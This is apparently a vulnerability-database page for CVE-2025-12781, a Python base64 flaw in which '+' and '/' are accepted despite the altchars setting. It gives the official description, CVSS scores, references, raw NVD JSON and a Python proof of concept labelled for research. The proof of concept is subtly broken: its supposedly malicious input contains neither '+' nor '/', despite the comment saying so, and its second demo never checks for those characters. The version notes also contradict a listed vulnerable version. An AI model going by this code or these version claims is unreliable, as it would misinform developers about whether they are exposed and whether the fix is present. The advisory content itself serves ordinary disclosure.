CVE-2025-12781

Description

When passing data to the b64decode(), standard_b64decode(), and urlsafe_b64decode() functions in the "base64" module the characters "+/" will always be accepted, regardless of the value of "altchars" parameter, typically used to establish an "alternative base64 alphabet" such as the URL safe alphabet. This behavior matches what is recommended in earlier base64 RFCs, but newer RFCs now recommend either dropping characters outside the specified base64 alphabet or raising an error. The old behavior has the possibility of causing data integrity issues. This behavior can only be insecure if your application uses an alternate base64 alphabet (without "+/"). If your application does not use the "altchars" parameter or the urlsafe_b64decode() function, then your application does not use an alternative base64 alphabet. The attached patches DOES NOT make the base64-decode behavior raise an error, as this would be a change in behavior and break existing programs. Instead, the patch deprecates the behavior which will be replaced with the newly recommended behavior in a future version of Python. Users are recommended to mitigate by verifying user-controlled inputs match the base64 alphabet they are expecting or verify that their application would not be affected if the b64decode() functions accepted "+" or "/" outside of altchars.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:python:python:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:python:python:3.15.0:alpha1:*:*:*:*:*:* - VULNERABLE

Python 3.x < 3.14 (未修复版本)

Python 3.14+ (将包含修复，需要关注废弃警告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import base64
import sys

# PoC: 演示CVE-2025-12781漏洞
# 当使用altchars参数时，'+'和'/'字符仍被接受

def test_vulnerable_behavior():
    """
    Demonstrates the vulnerability where '+' and '/' are accepted
    even when altchars parameter is specified.
    """
    
    # Define URL-safe alphabet (replace +/ with -_)
    altchars = b'-_'
    
    # Normal URL-safe encoded data (should work)
    normal_data = b'dGVzdA=='  # 'test' encoded URL-safe
    
    # Malicious data containing '+' and '/' characters
    # These should be rejected when using altchars, but are accepted
    malicious_data = b'dGVzdCsihanM='  # Contains '+' and '/'
    
    try:
        # This should fail but doesn't due to the vulnerability
        decoded = base64.b64decode(malicious_data, altchars=altchars)
        print(f"[VULNERABLE] Decoded malicious data: {decoded}")
        print("The '+' and '/' characters were accepted despite altchars parameter")
        return True
    except Exception as e:
        print(f"[PATCHED] Decoding failed as expected: {e}")
        return False

def demonstrate_integrity_issue():
    """
    Demonstrates potential data integrity issues.
    """
    altchars = b'-_'
    
    # Attacker-controlled input with forbidden characters
    attacker_input = base64.b64encode(b'admin+/privilege').decode()
    print(f"Attacker input: {attacker_input}")
    
    # Application expects only URL-safe characters
    try:
        decoded = base64.urlsafe_b64decode(attacker_input)
        print(f"[WARNING] Data accepted: {decoded}")
        print("This could bypass integrity checks in applications")
    except Exception as e:
        print(f"[SAFE] Data rejected: {e}")

if __name__ == '__main__':
    print("=== CVE-2025-12781 PoC ===")
    print()
    print("[*] Testing vulnerable behavior...")
    test_vulnerable_behavior()
    print()
    print("[*] Demonstrating integrity issue...")
    demonstrate_integrity_issue()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-12781
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-12781
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-12781/
[4] VulDB https://vuldb.com/cve/CVE-2025-12781
[5] https://github.com/python/cpython/commit/13360efd385d1a7d0659beba03787ea3d063ef9b
[6] https://github.com/python/cpython/commit/1be80bec7960f5ccd059e75f3dfbd45fca302947
[7] https://github.com/python/cpython/commit/9060b4abbe475591b6230b23c2afefeff26fcca5
[8] https://github.com/python/cpython/commit/e95e783dff443b68e8179fdb57737025bf02ba76
[9] https://github.com/python/cpython/commit/fd17ee026fa9b67f6288cbafe374a3e479fe03a5
[10] https://github.com/python/cpython/issues/125346
[11] https://github.com/python/cpython/pull/141128
[12] https://mail.python.org/archives/list/[email protected]/thread/KRI7GC6S27YV5NJ4FPDALS2WI5ENAFJ6/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-12781", "sourceIdentifier": "[email protected]", "published": "2026-01-21T20:16:04.423", "lastModified": "2026-02-02T17:25:23.933", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "When passing data to the b64decode(), standard_b64decode(), and urlsafe_b64decode() functions in the \"base64\" module the characters \"+/\" will always be accepted, regardless of the value of \"altchars\" parameter, typically used to establish an \"alternative base64 alphabet\" such as the URL safe alphabet. This behavior matches what is recommended in earlier base64 RFCs, but newer RFCs now recommend either dropping characters outside the specified base64 alphabet or raising an error. The old behavior has the possibility of causing data integrity issues.\n\n\n\n\nThis behavior can only be insecure if your application uses an alternate base64 alphabet (without \"+/\"). If your application does not use the \"altchars\" parameter or the urlsafe_b64decode() function, then your application does not use an alternative base64 alphabet.\n\n\n\n\nThe attached patches DOES NOT make the base64-decode behavior raise an error, as this would be a change in behavior and break existing programs. Instead, the patch deprecates the behavior which will be replaced with the newly recommended behavior in a future version of Python. Users are recommended to mitigate by verifying user-controlled inputs match the base64 \nalphabet they are expecting or verify that their application would not be \naffected if the b64decode() functions accepted \"+\" or \"/\" outside of altchars."}, {"lang": "es", "value": "Al pasar datos a las funciones b64decode(), standard_b64decode() y urlsafe_b64decode() en el módulo \"base64\", los caracteres \"+/\" siempre serán aceptados, independientemente del valor del parámetro \"altchars\", típicamente usado para establecer un 'alfabeto base64 alternativo' como el alfabeto seguro para URL. Este comportamiento coincide con lo recomendado en RFCs de base64 anteriores, pero los RFCs más recientes ahora recomiendan o bien descartar caracteres fuera del alfabeto base64 especificado o generar un error. El comportamiento antiguo tiene la posibilidad de causar problemas de integridad de datos.\n\nEste comportamiento solo puede ser inseguro si su aplicación usa un alfabeto base64 alternativo (sin \"+/\"). Si su aplicación no usa el parámetro \"altchars\" o la función urlsafe_b64decode(), entonces su aplicación no usa un alfabeto base64 alternativo.\n\nLos parches adjuntos NO hacen que el comportamiento de decodificación base64 genere un error, ya que esto sería un cambio de comportamiento y rompería programas existentes. En su lugar, el parche desaprueba el comportamiento que será reemplazado por el comportamiento recién recomendado en una futura versión de Python. Se recomienda a los usuarios mitigar verificando que las entradas controladas por el usuario coincidan con el alfabeto base64 que esperan o verificar que su aplicación no se vería afectada si las funciones b64decode() aceptaran \"+\" o \"/\" fuera de altchars."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", ... (truncated)